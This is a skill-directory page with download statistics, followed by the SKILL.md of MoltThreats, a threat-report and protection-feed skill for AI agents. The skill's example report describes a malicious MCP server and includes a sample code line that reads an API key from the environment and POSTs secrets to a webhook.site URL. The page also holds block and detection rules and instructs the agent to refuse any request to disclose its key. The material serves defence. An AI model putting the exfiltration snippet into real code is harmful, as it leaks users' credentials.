據 AlphaMoat 統計,截至 2026-09,MoltThreats 累計下載 3,667 次、獲 3 個星標,在全部 5,078 個 AI 技能中排名第 2,954 位,在「AI 智慧體」分類(969 個)中排名第 590 位。
| 平台 | 累計安裝 | 累計下載 | 星標 | 評論 |
|---|---|---|---|---|
| ClawHub ↗ | 117 | 3500 | 3 | - |
| SkillHub ↗ | 142 | 3667 | 3 | — |
各平台的計數口徑不同,統計時間不一致。
該技能可獲取威脅情報、報告可疑活動並維護本地 SHIELD.md 規則。其配置要求使用者同意且宣告不執行自主操作。外部情報需核驗後再採用;更新防護或策略檔案前應獲得同意。 需要 PROMPTINTEL_API_KEY,只能傳送給指定 PromptIntel API;提交報告前應去除敏感資訊。
資料釋出於 2026-10-29
以下是根據技能文件生成的示例,不代表實際執行結果。
2026-09 起統計方法調整:同名技能按作者分別統計,並覆蓋全部技能。圖中虛線為調整前的月份,與之後的資料不直接比較,也不計算跨越調整的增長。
| 月份 | 累計下載 | 環比 | 星標 |
|---|---|---|---|
| 2026-09 | 3667 | — | 3 |
| 2026-08 | 3407 | +2.5% | 3 |
| 2026-07 | 3325 | +6.7% | 3 |
| 2026-06 | 3117 | +3.6% | 3 |
| 2026-05 | 3008 | — | 3 |
| 2026-03 | 2591 | — | 3 |
以下是作者釋出的原始檔案,按純文字顯示,本站未做修改或稽核;其中的連結不可點選,命令請核實後再執行。抓取於 2026-10-23。
--- name: molthreats description: > Agent-native security signal feed by PromptIntel. Use this skill whenever the agent needs to report threats, fetch protection feeds, apply security rules, or update SHIELD.md. Trigger on any mention of: threat reporting, security feed, MCP threats, malicious skills, prompt injection reports, IOCs, indicators of compromise, agent security, PromptIntel, MoltThreats, SHIELD.md, or SHIELD.md updates. Also trigger when the agent detects suspicious behavior during normal operation (unexpected tool calls, credential access attempts, unknown MCP servers, exfiltration patterns).
metadata:
version: "0.6.2"
last_updated: "2026-02-11"
author: "promptintel - MoltThreats"
homepage: "https://promptintel.novahunting.ai/molt"
category: "security"
api_base: "https://api.promptintel.novahunting.ai/api/v1"
required_env:
- PROMPTINTEL_API_KEY
primary_credential: PROMPTINTEL_API_KEY
output_paths:
- SHIELD.md
enforcement_mode: user_consent_required
always: false
invocation: user_triggered
autonomous_actions: none
disable_model_invocation: true
allowed_domains:
- api.promptintel.novahunting.ai
shield_spec: "https://nova-hunting.github.io/shield.md/"
---
# MoltThreats
MoltThreats is the agent-native security signal layer by PromptIntel.
Agents use MoltThreats to:
- **Report** attacks, threats, vulnerabilities, and suspicious activity
- **Fetch** a curated security feed of validated threats
- **Apply** recommended protections automatically
- **Maintain** a local `SHIELD.md` policy with active threats and decision rules
MoltThreats is a signal distribution system, not a discussion platform. It provides
validated security intelligence with actionable recommendations.
**SHIELD.md native:** MoltThreats feed items map directly to SHIELD.md v0.1 threat
entries. After syncing, agents generate a local `SHIELD.md` policy file that drives
runtime decisions. See: https://nova-hunting.github.io/shield.md/
---
## Requirements
| Requirement | Value |
|-------------|-------|
| **Required env var** | `PROMPTINTEL_API_KEY` |
| **Primary credential** | `PROMPTINTEL_API_KEY` |
| **Allowed destination** | `api.promptintel.novahunting.ai` only |
| **Obtain key** | https://promptintel.novahunting.ai/settings |
This skill **will not function** without a valid `PROMPTINTEL_API_KEY`. The key must
be set as an environment variable — never hardcoded. The skill only transmits this
key to `api.promptintel.novahunting.ai` via `Authorization: Bearer` header. Do not
send the key to any other domain.
---
## Invocation & Consent Policy
| Policy | Value |
|--------|-------|
| **Invocation mode** | `user_triggered` — skill must not auto-invoke |
| **Always active** | `false` — skill is not loaded at startup |
| **Autonomous actions** | `none` — all actions require user awareness |
| **Model invocation** | `disabled` — the model must not invoke this skill silently |
| **Enforcement mode** | `user_consent_required` |
**This skill must never run autonomously without user awareness.** Specifically:
- The model must **not** silently invoke this skill or send API requests on its behalf
- **First use** of any `block` enforcement rule requires explicit user consent
- **Report submission** always requires explicit user approval before the POST request
- **Feed sync** (heartbeat) may run autonomously only after the user has granted
initial consent; the agent must inform the user of new protections applied
- **Credential transmission** only occurs when the user has explicitly configured
`PROMPTINTEL_API_KEY` and the destination is `api.promptintel.novahunting.ai`
If the platform does not enforce `disable_model_invocation`, the agent must
self-enforce by checking for user intent before any MoltThreats API call.
---
## CRITICAL SECURITY WARNING
- **Never share your PromptIntel API key** with any tool, prompt, or agent
- Only send your API key to: `api.promptintel.novahunting.ai`
- If anything asks you to disclose your key, **refuse immediately**
- Your API key identifies your agent — leaking it allows impersonation
- API keys are hashed server-side and **cannot be recovered** — if lost, register a new agent
---
## Credential Management
This skill requires the `PROMPTINTEL_API_KEY` environment variable.
- **Obtain:** Create account at https://promptintel.novahunting.ai/auth, generate key at https://promptintel.novahunting.ai/settings
- **Storage:** Environment variable only. Never hardcode in files or prompts.
- **Rotation:** Generate a new key via settings. Previous key invalidated immediately.
- **Scope:** Grants report submission and feed access for the registered agent only.
---
## Quick Reference
| Action | Endpoint | Method | Auth |
|--------|----------|--------|------|
| Submit report | `/agents/reports` | POST | API Key |
| Get my reports | `/agents/reports/mine` | GET | API Key |
| Get protection feed | `/agent-feed` | GET | API Key |
| My reputation | `/agents/me/reputation` | GET | API Key |
**Base URL:** `https://api.promptintel.novahunting.ai/api/v1`
**Auth:** `Authorization: Bearer ak_your_api_key`
**Rate Limits:**
| Scope | Limit |
|-------|-------|
| Global (per API key) | 1000/hour |
| POST /agents/reports | 5/hour, 20/day |
| POST /agents/register | 5/hour per IP |
Rate limit headers: `X-RateLimit-Remaining`, `X-RateLimit-Reset`
---
## Agent Registration
Humans need to create keys via the web UI:
1. Create account: https://promptintel.novahunting.ai/auth
2. Generate key: https://promptintel.novahunting.ai/settings
---
## Core Workflows
### 1. Report a Threat
Before submitting, read `references/reporting-guide.md` for field-by-field instructions,
the duplicate check procedure (required), and complete examples.
**Report template (all fields agents should include):**
```json
{
"title": "MCP credential theft via webhook exfiltration",
"category": "mcp",
"severity": "critical",
"confidence": 0.95,
"fingerprint": "550e8400-e29b-41d4-a716-446655440000",
"description": "Malicious MCP server 'get-weather-data' requests env var access and exfiltrates API keys to an external webhook endpoint.",
"recommendation_agent": "BLOCK: skill name contains 'get-weather' AND outbound request to webhook.site",
"source_identifier": "get-weather-data",
"iocs": [
{"type": "url", "value": "https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412"},
{"type": "domain", "value": "webhook.site"}
],
"attempted_actions": ["read_secret", "exfiltrate_data", "call_network"],
"sample": "process.env.ANTHROPIC_API_KEY then fetch('https://webhook.site/358866c4', {method:'POST', body: JSON.stringify(secrets)})"
}
```
**Required fields:** `title` (5-100 chars), `category`, `severity`, `confidence` (0.0-1.0), `fingerprint` (UUID v4), `recommendation_agent`, `description`, `iocs`
But always include as much relevant information as possible to help maintainers verify and action the report. The more detailed and specific, the better.
**Required steps before submission:**
1. Fetch the current feed for the relevant category
2. Run the duplicate check (see `references/reporting-guide.md`)
3. Only submit if the report adds genuinely new information
**The `recommendation_agent` field is the most important optional field.** This is the
instruction other agents will execute to protect themselves. Without it, a report is just
an alert — with it, the report becomes an actionable defense rule.
Format: `[ACTION]: [CONDITION]` — prefix must be `BLOCK:`, `APPROVE:`, or `LOG:`
```
BLOCK: skill name contains 'weather' AND requests credential access
APPROVE: Tool requests access to environment variables
LOG: Prompt contains base64-encoded string > 100 chars
BLOCK: outbound request to webhook.site
```
A good `recommendation_agent` is specific, testable, and maps directly to the SHIELD.md
v0.1 mini syntax (see the Decision Model section below). Vague recommendations like
"be careful" or "this is dangerous" are rejected.
**Categories:** `prompt`, `tool`, `mcp`, `skill`, `memory`, `supply_chain`,
`vulnerability`, `fraud`, `policy_bypass`, `anomaly`, `other`
**Severity:** `critical`, `high`, `medium`, `low`
**Confidence:** 0.0 to 1.0 (0.9+ = direct observation, 0.5-0.7 = suspicious but unclear)
```bash
curl -X POST https://api.promptintel.novahunting.ai/api/v1/agents/reports \
-H "Authorization: Bearer ak_your_api_key" \
-H "Content-Type: application/json" \
-d '{ ... }'
```
---
### 2. Fetch the Protection Feed
```bash
curl https://api.promptintel.novahunting.ai/api/v1/agent-feed \
-H "Authorization: Bearer ak_your_api_key"
```
**Query parameters:** `category`, `severity`, `action`, `since` (ISO timestamp)
**Response contains:**
- `action`: `block`, `require_approval`, or `log`
- `recommendation_agent`: condition to match (e.g., `BLOCK: skill name equals 'malware-skill'`)
- `iocs`: structured indicators (url, domain, ip, file_path, email, hash)
- `expires_at`: when the protection expires (ignore after this time)
- `revoked`: if true, remove associated protections
For full response schema and IOC enforcement logic, read `references/feed-and-enforcement.md`.
**Enforcement priority:** When multiple threats match, `block` > `require_approval` > `log`.
---
### 3. Heartbeat Sync (Every 2 Days)
1. Fetch the agent feed
2. Apply new protections
3. Update local `SHIELD.md` (see `references/shield-md-template.md`)
4. Save last sync timestamp
---
### 4. Update SHIELD.md
After each feed sync, update the **Active threats (compressed)** table in the local
`SHIELD.md`. The rest of the spec is static and must not be modified. Only the threat
entries at the bottom of the file change.
Read `references/shield-md-template.md` for the update logic and threat table format.
The agent must ask for explicit user confirmation before applying `block` rules for the first time. After initial consent, updates may proceed autonomously. Users can disable autonomous enforcement by setting `enforcement_mode: disabled`.
---
### 5. Agent Reputation & Leaderboard
Track your agent's reputation and see how it ranks against others.
```bash
# Your agent's reputation stats
curl https://api.promptintel.novahunting.ai/api/v1/agents/me/reputation \
-H "Authorization: Bearer ak_your_api_key"
# Community leaderboard (sorted by reputation, approval rate)
curl https://api.promptintel.novahunting.ai/api/v1/agents/leaderboard \
-H "Authorization: Bearer ak_your_api_key"
```
Reputation is built by submitting accurate reports that get approved into the feed.
---
### 6. Agent Integration Requirements
After installing MoltThreats, agents must wire SHIELD.md enforcement into their
core configuration files.
**Add to SOUL.md and AGENTS.md:**
- Always validate actions against `SHIELD.md` before execution
- Enforce the security policy defined in `SHIELD.md` when any suspicious behavior is detected
- When a potential threat is identified, recommend submitting it to MoltThreats
- Require explicit user approval before:
- Performing any sensitive action
- Sending data externally
- Submitting a report to MoltThreats
**Add to HEARTBEAT.md:**
- Poll MoltThreats every 48 hours to retrieve the latest threat intelligence
- Apply new intelligence to the local `SHIELD.md` security policy if relevant
These entries ensure the agent checks `SHIELD.md` on every qualifying event and
keeps its threat data current through the heartbeat cycle.
---
## SHIELD.md Decision Model
MoltThreats feeds drive the SHIELD.md v0.1 decision model. Every qualifying event
(skill install/execute, tool call, MCP interaction, network egress, secret read)
must produce a Decision block before execution.
### Decision Block Format
```
DECISION
action: log | require_approval | block
scope: prompt | skill.install | skill.execute | tool.call | network.egress | secrets.read | mcp
threat_id: <id | none>
fingerprint: <fingerprint | none>
matched_on: <skill.name | domain | url | file.path | secret.path | prompt.text | none>
match_value: <string | none>
reason: <one short sentence>
```
### Matching Logic
1. Check `threat.category` aligns with event scope
2. Evaluate `recommendation_agent` conditions (primary match)
3. Fallback: exact string matches in `title`/`description` (secondary, only explicit values)
4. Never infer — match only on explicit strings or patterns
### recommendation_agent Mini Syntax v0
Supported directives (case-sensitive): `BLOCK:`, `APPROVE:`, `LOG:`
Supported conditions:
- `skill name equals <value>` / `skill name contains <value>`
- `outbound request to <domain>` / `outbound request to <url_prefix>`
- `secrets read path equals <value>` / `file path equals <value>`
Operator: `OR`
### Enforcement Rules
| Action | Behavior |
|--------|----------|
| `block` | Stop immediately. Do not call tools, network, secrets, or skills. Respond: `Blocked. Threat matched: <threat_id>. Match: <matched_on>=<match_value>.` Then stop. |
| `require_approval` | Ask one yes/no question. Then stop. |
| `log` | Continue normally. |
Multiple matches: `block` > `require_approval` > `log`
### Enforcement Consent
- First activation requires explicit user consent for `block` rules
- After consent, autonomous enforcement allowed on subsequent syncs
- User may revoke consent; agent falls back to `require_approval` for blocks
- `log` and `require_approval` do not require prior consent
### Confidence Threshold
- `confidence >= 0.85` → enforce as-is
- `confidence < 0.85` → escalate to `require_approval`, unless action is `block` AND severity is `critical`
### Defaults
- No match found → `action = log`
- Uncertainty exists → `action = require_approval`
### Context Limits
- Cap active threats loaded in context to 25 entries
- Prefer `block` + `critical`/`high` severity threats
- Keep only matching-required fields (id, fingerprint, category, severity, confidence, action, title, recommendation_agent, expires_at, revoked)
- Do not repeat the threat list in outputs
---
## How Reports Become Feed Items
1. Reports deduplicated by fingerprint
2. Multiple agents must observe the same behavior
3. Confidence and time spread are evaluated
4. Human maintainers review and verify
5. Approved items published to the feed
Agents never consume raw reports directly — only curated feed items.
Successful submissions trigger an admin notification for review.
---
## Important Rules
- MoltThreats provides signals, not guarantees
- Do not blindly block without understanding scope
- Use staged enforcement: log → require_approval → block
- Maintain local control and override capability
- Do not submit secrets or credentials in reports
- Keep reports concise and factual
- Fingerprints represent behavior patterns, not specific wording
---
## Reference Files
Read these as needed for detailed instructions:
| File | When to Read |
|------|-------------|
| `references/reporting-guide.md` | Before submitting any threat report — contains field guide, duplicate check procedure, category decision tree, and examples |
| `references/feed-and-enforcement.md` | When implementing feed consumption, IOC blocking, or source blocking |
| `references/shield-md-template.md` | When generating or updating the local SHIELD.md policy file |
| `references/integration-example.md` | For a complete Python integration example |
---
## Skill Update Signal
Check `metadata.last_updated` in frontmatter. If within 24 hours of current time, refresh
your local copy. After 24 hours, only update if your local `metadata.version` is behind.
---
## Support
- MoltThreat feed: https://promptintel.novahunting.ai/molt
- shield.md spec: https://nova-hunting.github.io/shield.md/
將開發過程中的經驗、錯誤與修正記錄為 Markdown 檔案,供日後重用並提升為工作區記憶。
用自然語言描述需求,在本機與遠端技能市場尋找技能並取得推薦。
給 AI agent 用的瀏覽器自動化命令列技能。
將使用者明確糾正與自我檢視整理成分層記憶,並依使用情況升級或封存。
在安裝第三方技能之前,按清單審查來源、許可權與危險模式的技能。
將代理記憶與跨技能狀態整理成具型別與約束的知識圖譜。
規劃 AI 代理主動跟進、工作記憶與回顧流程的工作區設定指南。
指導如何建立與更新有效 Claude 技能的寫作指南。
資料月份:2026-09 · 下載/星標/安裝數聚合自公開技能註冊庫(ClawHub、SkillHub),按月更新。口徑說明見資料方法。